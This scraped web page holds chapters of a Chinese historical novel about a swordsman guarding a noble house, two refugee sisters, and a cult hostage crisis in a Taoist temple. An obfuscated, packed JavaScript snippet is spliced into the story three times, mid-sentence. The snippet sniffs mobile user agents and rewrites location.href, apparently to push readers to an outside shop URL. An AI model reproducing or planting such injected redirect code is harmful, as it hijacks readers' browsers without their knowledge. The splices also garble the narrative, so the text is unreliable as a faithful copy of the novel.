朝廷很早便将白巾教定性为谋逆组织,各地官府也都组织过打击白巾教的行动,但白巾教徒就如蟑螂般打不死无穷无尽,即使官府抓获了闹事的教徒,没过几日城中又冒出了新的白巾教徒闹事,永远抓不完。 这一次朝廷找出了白巾教在京城的据点,便相当于找出了蟑螂的老窝,若能一网打尽,便相当于彻底解决了京城的安全隐患。 路繁叶笑笑,道,“白巾教剿灭后,你保护路府的任务便完成了。晏然,之后你有什么打算吗?” 赵晏然想都没想,道,“自然是回上清派。” 路繁叶摇头道,“回上清多没意思,那里条件艰苦,连玩乐的地方都没有。江湖门派,每日除了练功和打打杀杀还能做什么?” 赵晏然嗅出他话里有话,于是望着他没说话,等待下文。 路繁叶道,“你想入仕吗?当官能接触到的资源比普通江湖人多太多了。我在朝中认识很多人,可以引荐你从军,不用从小兵做起,我会帮你打点,进了军队你便直接做将领。” 原来,路繁叶在上次白巾教暴乱中见识到了赵晏然的悍勇表现,十分确信此子前途不可限量,若能由自己引荐参军,未来一定会成为路府在朝廷中的巨大助力。 赵晏然微微皱眉,见路繁叶依然热切地望着自己,道,“多谢,但我不感兴趣。” 路繁叶以为是自己没说明白,语重心长道,“晏然,你还年轻,总不能一辈子当个江湖人漂泊无依吧——” 赵晏然见他还欲劝说,打断道,“大少爷,您可知我当初为什么应下掌门过来保护路府吗?” “为什么?” 赵晏然道,“掌门许诺,待我完成这次任务后,便会立我为亲传弟子,将只传掌门的独门剑法传授给我。” 他顿了顿,对路繁叶道,“所以我来路府最初的目的就是为了回去学掌门剑法,至于其他事情,我都不感兴趣。” 见赵晏然油盐不进,路繁叶道,“晏然,你的剑术参军已是绰绰有余,掌门剑法学与不学其实差别不大。你若体会过当官的好,便明白我的意思了。正好快到饭点,今日路大哥领你去珠翠阁吃,来京半年多路大哥还没正经请你吃过饭……” 路繁叶一边说,一边要来揽赵晏然肩膀。 赵晏然见他没完没了,再无耐心,他厌恶地侧身避开,冷声道,“我话讲得还不够清楚么,若不是为了掌门剑法,你认为我有闲心在你这种官僚身上浪费时间?抑或这段时间我任你差遣,叫你一声大少爷,你就真把自己当主子了?” 赵晏然话说的毫不留情,直接把路繁叶说愣住了。随即他反应过来,额头青筋暴起,“你——我引荐你去参军,是在帮你,你怎么不识好人心?” 赵晏然反问,“帮我?” 路繁叶道,“‘侠之大者,为国为民’,保家卫国是每位武林人士的终极追求,我见你能力不俗,才愿用自己的人脉引荐你参军,为你铺平报国之路。” 见路繁叶拿家国大义说事,赵晏然冷笑,“你把我当傻子哄么。真正发生战事时,你们这群官老爷哪个不是缩在最后?我习武多年,可不是为了在战场替官老爷卖命啊。” 赵晏然言辞刻薄,让路繁叶的脸彻底挂不住。他勃然大怒,半晌说不出话,最终指着书房大门对赵晏然斥道,“出去!” - 赵晏然走出书房,见到知慈和沈纤纤,开口同二人打了招呼。 知慈仍记得赵晏然把她香囊忘到一边的事,知慈觉得有些别扭,没有回应。 赵晏然未加注意,径自沈纤纤道,“纤纤,我有件事想同你说。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711727|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈纤纤道,“我正想问你,方才你与大少爷之间,发生什么事了?” 赵晏然摇了摇头,道,“这里不适合说话,我们换个地方。”随即率先领路。 沈纤纤挽起知慈手臂,想让她陪自己,知慈被拉着,有些不情不愿地随二人来到府上一处少有人路过的回廊之上。 三人站定,赵晏然开口。 “路繁叶告诉我,最近朝廷有大动作,准备彻底打击白巾教的京城据点。”赵晏然凭栏抱臂道。 知慈闻言,震惊异常。她和沈纤纤的家乡北风城就是因为被白巾教攻占,才导致二人家破人亡,被迫跋涉千里来到京城艰苦谋生。 在朝廷和白巾教的拉锯战中,朝廷对白巾教隐藏在群众之中的战略束手无策,每当用武力强硬镇压便会枉杀平民,引起监察司和民意的强烈反弹。 如今能找到据点将其一网打尽,即使只是京城的分舵,那也是天大的好事了。 知慈想起母亲临死前绝望的眼神,突然觉得喉咙有些发堵。 赵晏然道,“届时朝廷会在京城内外部下天罗地网,你们近几日最好不要外出,以免被误伤。” 沈纤纤怀疑道,“大少爷就同你说了这些?那他怎会这么生气?” 赵晏然顿了顿,见沈纤纤执拗地盯着他,只得讲述了他打算尘埃落定后回上清、并与想荐他参军的路繁叶吵了一架的事。 沈纤纤听罢,语气有些着急道,“你打算走?” 赵晏然点头,以为沈纤纤舍不得他,难得温柔了几分语气道,“你我若是有缘,以后还会再见。” 可沈纤纤被赵晏然要离开的消息冲击到,根本没听他说的话,直接打断道,“你怎么能走?你不能走!”她急切道,“凭你的本事,若去参军,立功对你来说轻而易举。可你若选择回上清,即使武功练成天下第一也没用,没有官职,这世道谁会把你当回事。” 赵晏然未料到沈纤纤如此激动,且话里话外竟然很赞同路繁叶的观点,不禁有些不快。 “我不稀罕,肉食者鄙。”他语气不屑,“还有,你怎知路繁叶不把我当回事?当初在上清山上,路繁叶一把鼻涕一把泪求掌门保护他,就差跪在我们面前了。” 沈纤纤急道,“那是因为你对他们有用,你信不信等京城白巾教被抓光、你没了利用价值那日,路繁叶理都不会理你?” 赵晏然嗤了一声,“我巴不得,此间事毕我就回上清派了,谁想再和路家的蠢货有交集。” 沈纤纤见赵晏然固执异常,急得快哭出来了,她恨自己不够巧舌如簧,“你为什么总想着回去呢?” 二人之间气氛愈发尖锐,赵晏然心中离别的感伤早已消失殆尽,取而代之的是对逼问的不耐烦。 赵晏然答道,“我来路府的目的,就是为了掌门剑法,现在达成目的,岂有留在这里的道理。” “可你走了,我怎么办?!你就好意思看我一直在这里当个卑微的婢女?”激愤之下,沈纤纤把心里话脱口而出。 这句话太直白功利,一时间,赵晏然沉默了下来。 知慈安静旁观二人冲突,尽力缩减自己的存在感。 “那你想让我怎么做?”赵晏然终于开口。 他没有等沈纤纤回答,继续道,“你和路府签的是活契,没人逼你一直当婢女。除非你想要的,是让我留下,给你挣出花不完的权势和金银再走。” 少年垂眸,嘲讽地笑了笑,“可是沈纤纤,你是谁啊,我凭什么为你做这些。” 沈纤纤抿紧唇望着他,神色复杂。 半晌,她轻声问道,“那如果我愿意……” 赵晏然打断她,“没有如果。” “我的目标是成为天下第一剑客,没有如果。” 10. 逃荒 当日下午,知慈做工时有些魂不守舍。 上午赵晏然和沈纤纤大吵一架,二人不欢而散,但知慈却无暇关心二人之间的龃龉,因为官府即将对白巾教分舵展开收网行动的消息,对她来说冲击太大了。 因为官府一直无法彻底拔除白巾教的势力,谢国各地群众早已接受了城内偶尔有白巾教徒扰乱治安的现状。知慈也渐渐习惯了生活在白巾教的阴影之下,她没有想到,有朝一日竟真得看到了剿灭白巾教的希望。 白巾教是造成知慈家破人亡的罪魁祸首。两年前,北风城还没被白巾教烧杀劫掠,那时知慈的烦恼只是不得父亲欢心和总是被姐姐衬托得黯然失色。 那是北风城秋日平凡的一个午后,沈家人吃过午饭,都在各自忙自己的事。 知慈坐在沈纤纤卧室的软凳上,望着姐姐翻找首饰。 沈纤纤坐在梳妆台前,翻拣着自己的首饰盒,随后终于找到了她想扔掉的那对金丝珍珠耳环,只见那耳环是金丝掐成的圆圈造型,圆圈中间坠着一枚珍珠,但左耳环的珍珠掉了,只剩金丝圆圈。 沈纤纤将耳环递给知慈,温柔道,“知慈,这对耳环送给你,左边的珍珠掉了,不过不打紧,你可以把右边耳环的珍珠也拆掉,这样就变成一对纯金耳环啦。” 知慈受宠若惊,从前姐姐不大愿意理会她,总说她又土又笨,平日里对她的态度有点不耐烦;但自从参加过池小姐的宴会后,姐姐便发生了很大变化,一方面不像从前那样热衷社交,另一方面对自己这个妹妹变得亲近很多。 知慈道,“谢谢姐姐。” 沈纤纤笑眯眯道,“来,我帮你带上。”她将耳环轻柔为知慈带上,又拿铜镜给知慈照,“你戴这耳环可真好看。” 本打算扔掉的破烂送给知慈作了人情,沈纤纤心中有些得意自己物尽其用。 就在这时,卧室的房门被大力推开,只见沈母满脸是泪,道,“知慈,你也在?快,正好节省时间了。纤纤知慈,你们快跟我来。” 沈纤纤道,“娘亲,你怎么了?” 沈母流着泪道,“白巾教的土匪杀进城了,下人回报你爹方才在路上被白巾教徒杀死了。” 沈纤纤听到这一噩耗,有些反应不过来,“爹爹……怎么会?” 沈母道,“没时间难过了,你们快随我来,我房间有避难的地道直通城外。” 说罢,她领着两个姐妹二人离开沈纤纤的房间。 知慈刚一出门,便听见院墙之外传来嘈杂惊慌的呼喊,期间甚至能听到远处传来爆炸声。整个城市陷入恐慌和动乱之中。 三人来到主院卧房。沈母将五斗橱旁边的窗帘拉开,只见绸纱之后,并不是明亮的窗户,而是一间小小的暗室,里面黑乎乎什么都看不见。 沈母道,“你爹当年为了防止出现意外,特地挖了这样一条后路。纤纤,你先进去,别怕踩空,里面是一个直通地下暗河的地洞。” 沈纤纤自听闻沈父噩耗后,便魂不守舍,闻言她犹如一个听话木偶,麻木走进了暗室。随即传来一声踩空的惊呼。 沈母见状,明白沈纤纤已经下去了。又道,“知慈,你先走,我最后。” 知慈依言正准备进入暗室,然而就在这时,巨大的爆炸声响起,知慈被爆炸产生的冲击力推的一个踉跄,跪在了地上。 空气中烟雾弥漫,散发出一股浓烈的硫磺味道。原来,白巾教为震慑屠杀街上惊慌失措的平民,在街上引燃了大量炸药,沈父沈母的卧室紧靠后街,因此受到了爆炸波及。 知慈费力爬起身,身上尽是尘土,只见卧室被炸毁了一半,而沈母下半身被压在废墟之下。 知慈惊慌地想去拉沈母,“娘亲,你怎么样?” 沈母手指动了一下,声音微弱道,“我的腿好像断了,我动不了了。” 知慈慌乱地想把沈母拉出来,沈母虚弱道,“别管我了,我腿断了,出来也活不成了。知慈,帮我做件事,去把纸和笔给我拿过来。” 卧室东边未被爆炸波及,知慈闻言照做,将纸笔递给了沈母。 沈母趴在地上,勉强抬起了肩膀。她费力在纸张上写下一行地址,然后对折交给了知慈。 沈母道,“娘亲真希望能看着纤纤和你平平安安长大嫁人,可娘亲活不成了,没有我和你爹的庇护,你们姐妹二人孤苦无依,注定前路艰难。”说道这里,沈母的声音有些哽咽。 她继续道,”接下来我说的话,不要告诉你姐姐:若你们姐妹二人有一日走投无路,你便按我写的地址去找这位贵人,然后给他看信物,信物就是——” 沈母话说了一半,便见后街有白巾教徒尝试从炸出的院墙缺口进入沈府,沈母顿住,急道,“快走!” 知慈忙进入暗室,却没继续往前跳入空洞,而是将厚重的纱质窗帘拉上,隔着窗帘,外面的一切都像隔着一层厚重的黑雾。 知慈刚躲起来,白巾教徒便自废墟闯入屋中。 “这有个女人!”白巾教徒兴奋和同伴道。 另一个教徒摇头,“可惜,她被压在废墟下,出不来了。”随即刀一挥,便杀了沈母。 知慈在暗中眼睁睁看着母亲被杀,心中痛极,却不敢发出半点声音。 白巾教徒杀了沈母,又在屋中搜寻,他注意到了五斗橱旁的窗帘,自言自语道,“奇怪,我在街上看到这屋子时,记得房子的进深没有这么浅啊。” 他越走越近,就在他手搭上窗帘将要掀起时,知慈转身向前,跃入空洞之中。 黑暗和失重感包围了知慈,她感受到自己在快速下坠,随即坠入了水中。 知慈拼命扑腾,游至岸边。沈纤纤正失魂落魄坐在岸边。 “母亲呢?”她问。 知慈爬起身,顾不得浑身湿透,道,“母亲被白巾教徒杀了,快跑,别被他们追上!”随即拉起沈纤纤便向前跑。 二人身处地下暗河,空间很窄,但沈老爷早些年遣人在暗河两侧铺了路,所以跑起来还算平坦。 知慈拉着沈纤纤沿着暗河跑了大约十里路,终于看见了太阳光。 重见阳光,知慈发现她们置身于郊外的密林,她不敢松懈,又带着沈纤纤一路朝南前行,直到看到了官道,官道上偶有农人悠闲坐着牛车,才稍稍松了口气。 知慈向农人询问后才知,她们现在身处距离北风城南三十里外的村落,目前大部分白巾教徒都在北风城,城内难民也还未来得及逃经此地,因此附近农人依旧在做自己的事。 知慈向那农人道了谢,并告知了他北风城沦陷的事,劝他尽快收拾行李逃难。 农人登时手足无措,说他要先问问村长的主意,随即驾着牛车急急忙忙离去了。 这之后,知慈领着沈纤纤一路南下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711728|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>由于双亲的死亡对沈纤纤冲击过大,一路上,沈纤纤仿佛被抽离魂魄,一言不发,沉浸在了自己的世界里,饭吃得极少,知慈同她说话她也不理。 知慈见她日渐消瘦,甚至发起了低烧,显然无法支撑接下来的逃荒,于是尽心尽力照顾她,哄她说话。但无论她怎么努力,却都不见成效。 偶然一次,知慈在擦拭母亲留给自己的金如意时,见沈纤纤目光无意识的落在上面,知慈不禁有些激动,因为沈纤纤难得对什么东西感兴趣。 这枚金如意是母亲为了安慰自己没去上清山,单独送给自己的宝贝。 随即,知慈想起了沈纤纤曾经很喜欢这块金如意,那时沈纤纤从上清山回来,看到知慈把玩这枚漂亮的金如意,便一眼相中,提出想同她交换。但知慈舍不得,因为自己也很喜欢,而且这个物件于她来说有特殊的意义。 可是此刻,看着封闭内心的沈纤纤,知慈犹豫了。姐姐是她唯一的亲人了,如果能唤姐姐醒来,区区金如意算得了什么? 于是知慈尝试着将金如意放在了沈纤纤的手里,轻轻握住她的手,道,“姐姐,你不是喜欢这个金如意吗?你看,它多好看,你快振作些,我把它送给你了。” 沈纤纤睫毛颤动了一下,神色难得出现了波动,她有些茫然地把玩着手中的把件。对美的本能向往让她下意识对这枚金如意心生喜爱。 然而除了这样细微的举动,沈纤纤再无其他反应。 知慈望着她良久,见她无动于衷,大失所望。 知慈直起身子,心下嘲笑自己异想天开,然而就在她刚刚转过身时,她听见身后传来轻轻的哽咽声。 知慈猛地回头,竟看见沈纤纤在哭,她哽咽着道,“……你说的对,我要振作,起码你还陪在我身边……” 知慈大喜过望,眼眶发酸。一路逃难,她其实并没有表现得那么坚强,若是沈纤纤没能撑过去,只留她一人,她恐怕就要崩溃了。 姐妹二人抱在一起,哭成一团。 那之后,沈纤纤振作了起来,身体也渐渐好转。她欲将金如意还给知慈,却被知慈制止,“姐姐,金如意你收下吧,是它保佑了你。” 沈纤纤望着知慈真诚的眼神,收下了金如意。 姐妹二人日夜兼程风尘仆仆,赶在了难民潮之前逃到了京城。而此时二人手上的银钱也基本花到了头。 为谋生计,姐妹二人四处求职,最终同京中大户路府签下了三年活契,成为了路府的婢女。 虽然一夜之间从小姐变成了丫鬟,但就她们当时的处境而言,这已是最好选择: 路府在京城是出了名的好东家,月银高,调休合理,从不亏待下人;最重要的是,就在知慈和沈纤纤入职路府的第二天,北风城难民潮抵达京城,一时之间城内工作短缺,很多难民身无分文,只能露宿街头,忍饥挨饿。 至于母亲死前交代知慈的事情,知慈按照母亲要求,休沐时依照地址找到了贵人的府邸。 贵人姓徐名钰,街坊说他是一位军中将领,常年驻扎边疆不在家中。 知慈站在徐府门前,没有敲门进入。她不知这位徐大人同母亲有什么往来,但母亲告诉她走投无路时在上门求助,所以现下还不是时候。 知慈记下了徐府的位置,在心中暗道:希望自己永远不需要求到他,因为她永远不想落入走投无路的境地。 11. 围剿 知慈的内心被白巾教消息冲击久久不能平静,却没想到第二日清晨,沈纤纤正坐在她的床铺旁等她。 沈纤纤紧抿嘴唇,神情坚定,完全不似昨日和赵晏然吵架时的歇斯底里。 “知慈,你今天还有假吧,你得陪我。”见知慈清醒,沈纤纤直入主题。 “怎么了?” 沈纤纤声音很轻,但很坚决,“前日青牛观道长说,今日他们会举办法会指点迷津。昨天我想了一晚上,听说他们有一套自己的办法,能通过请神和做法调整命格,我想去试试。” “你疯了?!”知慈脱口而出,随即四下张望,见没有惊扰到其他睡觉的丫鬟,又压低声音道,“你想找他们给你做法事?” 沈纤纤冲知慈露出一个有些勉强的笑,道,“大夫人信得,我为何信不得?况且即使是假的,也不损失什么。” 知慈皱眉,担忧地望着她,道,“可赵晏然说过,近日朝廷集结兵力围剿白巾教,街上不安全,现在出去若路上遇见危险可怎么办。” 听见赵晏然的名字,沈纤纤的表情肉眼可见冷淡下来,道,“官匪交战和我们普通百姓有什么关系?况且京城那么大,即使真出事也不可能正好被我们碰上。” 知慈还是觉得没必要冒生命危险只为参见法会,“可是……” 沈纤纤皱起眉,不耐烦打断道,“你不陪我就算了,我自己去就是。”随即起身欲走。 “哎,等等,姐姐……”知慈拉住沈纤纤,她不想去,但也不放心沈纤纤一个人出门,“我不是这个意思。” 沈纤纤脸色缓和了几分,“那你快去洗漱,我直接到侧门等你,咱们一起出门。” 沈纤纤说罢,贴心为知慈关上了寝房门。 知慈坐在床上,心中踌躇。 逃难期间她便发现,姐妹二人相互照应,遇见危险的概率比孤身一人要小得多,所以即使路上遇见官匪冲突的概率很低,她还是不放心姐姐一个人出门。 知慈打水洗漱,凉水泼在脸上时,知慈突然想到一人,激得她灵台清明。她匆匆洗完脸,随即赶往演武场。 和她预料的一样,赵晏然早已在演武场练习基本功。 只见少年蒙着眼,手中握着几把飞刀,每当他抬手便有一把飞刀射中木桩人的脖子。随即赵晏然听声辨位,掷出最后一把飞刀,那飞刀险险擦过知慈的脖子,钉在知慈身后的墙上,刀身颤个不停。 知慈被他的举动搞得又惊又怒,“喂!” 少年摘下蒙眼的黑布,随意将黑布绕着他修长的手掌缠了几道,面无表情冲知慈伸手道,“飞刀还我。” 知慈望着他手掌缠绕的黑布随风摆动,有种想用飞刀扎穿他这理直气壮态度的冲动。 她狠狠将飞刀朝他脸上抛去,却被赵晏然轻易接住。 因为有更重要的事,知慈无暇跟在意这些细节,她正色道,“赵晏然,你得帮我个忙。”随即她快速讲述了沈纤纤想去青牛观的事。 “我实在劝不动她,只能陪她。赵晏然,你武功这么高,有你在路上肯定就不会有危险了,你能陪我们一起去吗。” 赵晏然听见沈纤纤的名字,神色淡了下来,道,“她的事与我无关。” 知慈道,“可是……” 赵晏然冲知慈驱赶地摆手,“走开,不要妨碍我。” 知慈无奈,只得走开。 离开演武场前,她回头望了赵晏然一眼。只见少年盯着木人桩,俊逸清秀的脸庞神色冷漠,手中飞刀迟迟没有射出,不知在想些什么。 - 知慈来到路府正门口。 沈纤纤道,“你磨蹭什么呢,这么慢。” 知慈欲言又止,心知如果告诉她自己去找赵晏然却被拒绝,除了败坏姐姐的心情没有别的用处。于是摇了摇头,什么都没说。 二人上路时天色尚早,但京城中商贩已经出摊,城内行人熙熙攘攘,一派繁华景象。 沈纤纤手肘怼了怼知慈,道,“你看,哪有你说的那么吓人,官府的抓捕行动和普通老百姓没关系。” 知慈抿唇不语,精神紧张。但一路走来,街上一如往日热闹,直到来到青牛观都没遇到任何异常,知慈不得不承认自己确实紧张过头。 二人来到青牛观大门前,只见观内香火鼎盛,相比上次前来时,人群更多了些。 姐妹进入观内,有道童迎了上来,“二位施主可是来参加法会的?” 沈纤纤点头,那道童便引着二人穿过大殿,来到了后院。只见之前空旷的后院此刻整齐摆满蒲团,供与会人就座,不少人已经坐在自己的位置上,知慈粗略数了一下,大概能容纳二百余人; 而院内最前方则搭起一个平台,上面矗立着一尊蒙着黑布的雕像,按轮廓判断,黑布之下应该是佛道二祖观音菩萨的雕像。 知慈注意到,雕像旁边,青牛观观主正在同一位仙风道骨的老道长寒暄。 女观主瞥见道童引着姐妹二人过来,眼前一亮,朝知慈和沈纤纤招手。 姐妹走近,观主向那道长介绍道,“真人,这二位施主是路府当差的贵人,听说了法会的好处,也愿意来学习。” 随即又向知慈和沈纤纤介绍道,“这位是白云真人,天下闻名的玄门大能,特意从北方过来主持讲法。”她看向沈纤纤道,“施主所困扰的问题,我们真人稍后便会在法会上施展神通,答疑解惑。” 白云真人神色和蔼,道,“来参加法会便是好学之人,二位施主即有缘参与法会,贫道自会将化解之法传授一二。” 沈纤纤认真又敬畏地点头,随即姐妹二人被安排到了最前排就座。 会场陆陆续续坐满了人,青牛观主见时间差不多,便主持秩序,安排法会正式开始。 “各位与会的施主,很荣幸受邀主持这次法会。贫道见到很多了熟面孔,也有很多新道友。” 平台之上,白云道长在进行开场致辞。知慈瞥了眼沈纤纤,见她凝神盯着台上。知慈又悄悄转过头,大多数人神情都很专注,其中有的人甚至可以称得上狂热,但也有几人如自己一样,注意游离于法会之外。 “……新来的道友可能不了解,我们法会是做什么的?” 知慈被白云道长的话拉回了神,又重新看向台上。 白云道长道,“诸位聚集于此,都是为了寻求解脱。可众生平等,本该天下大同,为什么诸位如此痛苦?说到底,是因上位者通过各种谎言和剥削,窃取了我们普通百姓的利益。” 白云道长越说越慷慨激昂,“朱门酒肉臭,路有冻死骨。上位者只想吸我们的髓、喝我们的血。这世上真正一视同仁,平等保佑每个普通百姓的存在,唯祂一位——” 话音落下,白云道长一把掀开旁边雕像上蒙着的黑布。 见到雕像真容,不少人发出惊讶的呼声。 只见黑布之下,矗立着一座雕像。那雕像脸似圆盘修眉细眼,手托太极符号法器。这尊雕像既不是观音、也不是道祖,而是目前被京城通缉的白巾教的神仙,无生老母。 知慈心中大震,她路上小心翼翼以为避免了冲突,却没想到直接进入了白巾教的传教现场。 - 路府。 赵晏然晨间训练完毕,打发护院们各司其职,闲下来后他打算出门一趟,给上清同门寄一封信。 刚走过两条街,赵晏然便见一队捕快匆匆路过,领头的捕头对部下叱道,“都快些,耽误了正事,你们便都我滚。” 赵晏然 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赵晏然跃上树梢,看到青云观大门内孤零零站着一个白巾教徒,神情紧张却强做镇定,像是深入敌营的谈判官。而大门外的朝廷官兵簇拥着几位衣着体面利落的官员,几人眉头紧蹙,不知在争执什么。 “你的意思,不管里面的人质强攻?”一人道。 “我们几百官兵,总不能被他们区区几十个人拿捏。”另一位年轻官员道。 “可你若不顾平民性命,即使将白巾教一网打尽,明日陛下也会罢免你我的官职。”第一人道。 一时间气氛剑拔弩张,一旁一位大胡子官员无意瞥见远处树上的少年,连忙冲他扬声打招呼缓和气氛,“少侠,您怎么在树上,快下来。” 方才同人吵架的那位年轻官员也被吸引了注意,朝树上的赵晏然颔首道,“赵兄弟。” 其他官员见状,纷纷向赵晏然方向看去,但他们并不认识赵晏然是谁。一人问道,“池指挥,胡捕头,他是?” 原来大胡子官员是上次路府受袭时派兵增援的衙门负责人胡捕头,而年轻官员则是后来秋爽被绑架时协助抓捕的锦衣卫指挥使池无暇。 二人都因上次白巾教暴乱一案同赵晏然打过交道,尤其是胡捕头,亲眼见到白巾教徒被血洗路府门前,他对赵晏然这位年轻人的能力十分佩服,当场便向赵晏然伸出橄榄枝欲纳入麾下,却被对方以志不在此的理由拒绝。但这并不影响赵晏然的神勇表现传遍整个京城衙门以及其他武官机构。 胡捕头向其他人介绍道,“他就是那个凭一己之力击退白巾教的上清少侠,赵晏然。” 众人纷纷侧目,原来他就是传闻中的赵晏然。而此时赵晏然也已跃下树向他们走来。他严肃指了下大门,同胡捕快道,“我的两个朋友也在观里,我得把她们救出来。” 胡捕头道,“你救不出来的,目前观内平民都被白巾教抓做了人质,只要有人靠近,他们便威胁要杀人质。” 随即,胡捕头又向赵晏然介绍了目前的情况,“青牛观四周及前院的白巾教徒已经全部被我们控制,只差内院就能全部拿下。内院白巾教徒不多,但他们教主在内院,且将内院所有普通民众作为人质。” 闻言,一旁的池无暇打断道,“要我说就别管这些人了,投鼠忌器,放任白巾教为祸四方,未来何止造成几十人伤亡?有时候牺牲是必要的。” 方才和池无暇争执的官员刚欲反驳,赵晏然却先一步冷声道,“不行,里面有我同伴,你敢乱来试试?” 其他官员也七嘴八舌加入争论,有的附和有的反驳,还有像胡捕头这样在中间劝架的,一时间气氛又开始回到最初的剑拔弩张。 “行了,都别吵了。”场内一道温润的声音响起,令赵晏然意外的是,这声音落下,官员们竟真的安静了下来。 12. 谢琅 赵晏然注意到,说话之人是位十八九岁的年轻人,他面容温润俊秀,神情平和站在官员之中,因为方才一直没有说话,所以赵晏然并未注意到他。 但他一开口,官员们便渐渐住了嘴,因此赵晏然猜测他是这群人里的头儿。 只听那年轻公子环顾众人,随后开口道,“谁说剿灭白巾教,就必须得牺牲里面的人质?几日前,陛下还曾在上朝时强调‘民为贵,社稷次之,君为轻’。难道你们想同陛下对着干?” 他瞥了池无暇一眼,池无暇不太服气地抿了抿唇。 年轻公子继续道,“不过,避免人质伤亡,也并非任由白巾教徒提条件。过度妥协,没有必要。” 赵晏然不知他身份,但见此人一直不切入正题,有些不耐烦,冷嗤道,“少说废话。” 一旁胡捕头扯了扯赵晏然衣角,小声道,“这位是五皇子殿下,这次行动的负责人。你说话放尊重些。” 五殿下与自己何干?赵晏然听罢,毫不收敛,语带讥讽补充道,“殿下,人还在里面扣着,您光说场面话能解决问题吗?” 赵晏然的话虽然冒犯,却也说出了在场不少官员的心声。 年轻公子神色未变,丝毫没有被冒犯的不快,他直视赵晏然,声音平静,道出了自己的想法。 “白巾教虽然嚣张,但他们的教主已在我们包围圈内,手上筹码不过几十个人质。白巾教主身为白巾教的核心首脑,只要他在场,那么白巾教徒肯定会以他的安危为先。” 赵晏然微微皱起眉头。 年轻公子继续道,“擒贼先擒王,只要能活捉白巾教主,其他教徒便不敢轻举妄动,人质的安危也能得以保障。” 年轻公子顿了顿,又道,“哨兵方才汇报,会场内大部分白巾教徒都忙于监管人质,白巾教主仅由三名护卫保护。此外,会场和大门之间有一座山门,上面蹲着一个放哨的白巾教徒,负责捕捉到道观内的所有风吹草动。” “因此,我想安排一个高手,待我们引开放哨的教徒之后,潜伏至教主身侧围墙,趁其不备跃入院中,解决掉三个护卫擒住教主。” 众人听罢,立刻判断出这个计划执行起来并不难,锦衣卫、衙门、禁卫军……在场各武官机构中的顶尖高手都能做到,但是却存在一个问题。 一旁赞成绥靖的一位官员道,“那若是万一失败,没捉住白巾教主却惊动了教徒可怎么办?那人质们岂不是都要死?”他嘴里压着一句话没说:谁担得起这个责任? 年轻公子道,“失败的责任由我承担。但事关几十个无辜平民性命,此事必须成功。” 官员们你看看我,我看看你。 池无暇率先道,“胡捕头,你的人呢。” 胡捕头道,“我手下功夫最好的捕快都分布在青牛观后身,现在叫他们恐怕来不及。池指挥,你麾下不是有位高手屡破奇案吗?” 池无暇道,“陈侍卫在观外处理抓到的白巾教徒,分不开身。” 胡捕头道,“那你亲自上啊。” 池无暇怒道,“你当我是北镇抚司的高手?我哪有那水平。”随即他转头冲五皇子道,“谢琅你说他是不是疯了?” 原来谢琅是五皇子的名讳,因为池无暇和五皇子年龄相仿关系又好,私下常常会称呼对方本名。此刻情急之下,他脱口而出。 赵晏然旁观他们互相推诿怕承担责任,心中烦躁不已,开口道,“都别吵了,我来吧。” 官员们听罢,静默片刻,随即纷纷点头。虽然赵晏然不是朝廷中人,但他的事迹在京城武官系统中广为流传,官员都知他武功过人,可以胜任这次任务;且他手上沾着几十条白巾教徒的性命,不必担心突然倒戈。 最重要的是,这次任务名义负责人是五皇子谢琅,但谢琅却并非他们的直系上级,所以虽然他们表面恭敬,却无人愿意主动为五皇子的命令承担几十条人命的风险。 谢琅注视赵晏然片刻,道,“行,你需要多长时间。” 赵晏然道,“只要你能将白巾教主身边的护卫引开,我就能马上动手。” 随即他又道,“我只有一个要求,不要造成人质伤亡,因为我的两个朋友就在其中。” 谢琅道,“可以。” 于是官员们很快敲定了方案: 谢琅及胡捕快手下负责吸引白巾教主注意力;池无暇则在双方谈判时领着锦衣卫撤离正面现场,去青牛观外围预防突发情况;而赵晏然则负责伺机擒住白巾教主。 - 青牛观内院,无辜的平民们极度恐慌,法会此刻变成了绑架现场。 知慈坐在最前排,一动也不敢动,在她的身后有人拿刀顶住了她后背。她悄悄斜眼瞟去,看见旁边沈纤纤此刻脸色发白,同样不敢动弹,身体抖如筛糠。 原来就在方才,白云真人在台上揭开无生老母雕像的一瞬间,一位道童急急闯入会场,“不好了,教主,道观被官府包围了!!” 方才台下观众看见无生老母雕像,便开始骚动,此刻得知官府包围了这里,更是立刻恐慌地想逃。 白云真人喝道,“都不许动!”随即观众中有数人脱下外套,露出里面标志性的白巾教道袍,身上绑着一圈炸药。这样的打扮立刻震慑住了观众,人们瞬间噤若寒蝉,不敢再跑。 白云真人缕了下胡子,笑眯眯道,“都别害怕,贫道不伤人,只需要各位小小配合一下。” 随即他扬声对那传话的道童道,“去告诉朝廷的人,我这里有九十个无辜平民,若他们敢进来,便别怪贫道不顾道义了。” 然后白云真人又对一旁六神无主的青牛观观主道,“黄舵主,你去放鸽子传信,让待命的教众立刻来支援。” 真实身份为白巾教舵主的青牛观主点点头,随即依言行事。 片刻后,出去传话的道童跑进来道,“教主,话递到了,外面朝廷的人吵起来了。” “嗯,好。” 随即,方才仙风道骨、慷慨激昂在台上演讲的白云真人,紧蹙着眉头在平台上来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 